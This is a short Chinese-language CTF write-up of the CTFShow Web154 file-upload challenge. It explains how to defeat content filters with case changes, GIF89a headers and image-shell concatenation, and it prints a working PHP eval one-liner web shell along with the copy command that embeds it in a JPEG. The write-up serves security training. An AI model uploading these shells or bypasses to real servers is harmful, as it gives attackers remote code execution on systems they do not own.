CTFShow-Web154:需绕过简单过滤的文件上传漏洞
CTFShow-Web154:需绕过简单过滤的文件上传漏洞.md
🛠️ Web154题解
对于上传文件内容做了简单过滤,不能包括php,可以将一句话木马中的php改为Php绕过,其余步骤和Web153一致。
📝 图片马内容检测绕过方法
这里介绍几种图片马内容检测绕过方法
1️⃣ 更换木马形式
一种常见的绕过方式是修改木马的格式和编码方式。例如,利用 eval() 执行动态代码:
<?=@eval($_POST['pass']);?>
通过修改木马脚本的格式,攻击者可以绕过部分防护机制,尤其是当上传文件时服务器只进行简单的格式过滤,而未对内容进行深度分析时。
2️⃣ 文件头检测绕过
当网站的文件上传功能进行了文件格式校验(例如,检查图片的 MIME 类型、文件扩展名等),绕过这些检测变得相对复杂。在这种情况下,攻击者可以尝试绕过文件内容检测,特别是通过修改文件的头部信息。
解决方法1:添加图片文件头到木马文件
有时,文件头信息是检测文件类型的关键。若文件头不匹配,服务器可能拒绝上传或无法执行。攻击者可以将恶意代码嵌入合法图片文件的头部,从而绕过检测。
例如,攻击者可以在木马代码前面添加合法的图片文件头,如 GIF89a,使其看起来像一张图片:
GIF89a? <?=@eval($_POST['pass']);?>
这样,服务器可能将其识别为合法的 GIF 图片文件,从而允许上传,但实际内容依然是执行恶意脚本。
文件头对照参考:CSDN 文件头参考链接 https://blog.csdn.net/rrrfff/article/details/7484109
解决方法2:图片与木马文件结合
另一种绕过方法是将一张图片与木马文件结合。制作方法有以下几种:
1. 文本方式打开:使用记事本打开图片文件,在末尾粘贴一句话木马。
2. CMD命令:在命令行中使用以下命令将图片与木马文件结合:
copy 1.jpg/b+2.php 3.jpg
• /b 代表二进制形式打开。
• /a 代表 ASCII 方式打开。
3. 16进制编辑:使用 16 进制编辑器打开图片文件,在末尾添加一句话木马。
4. PS
详细的操作步骤可以参考:做一个图片马的四种方法(详细步骤) https://www.cnblogs.com/1ink/p/15101706.html

浙公网安备 33010602011771号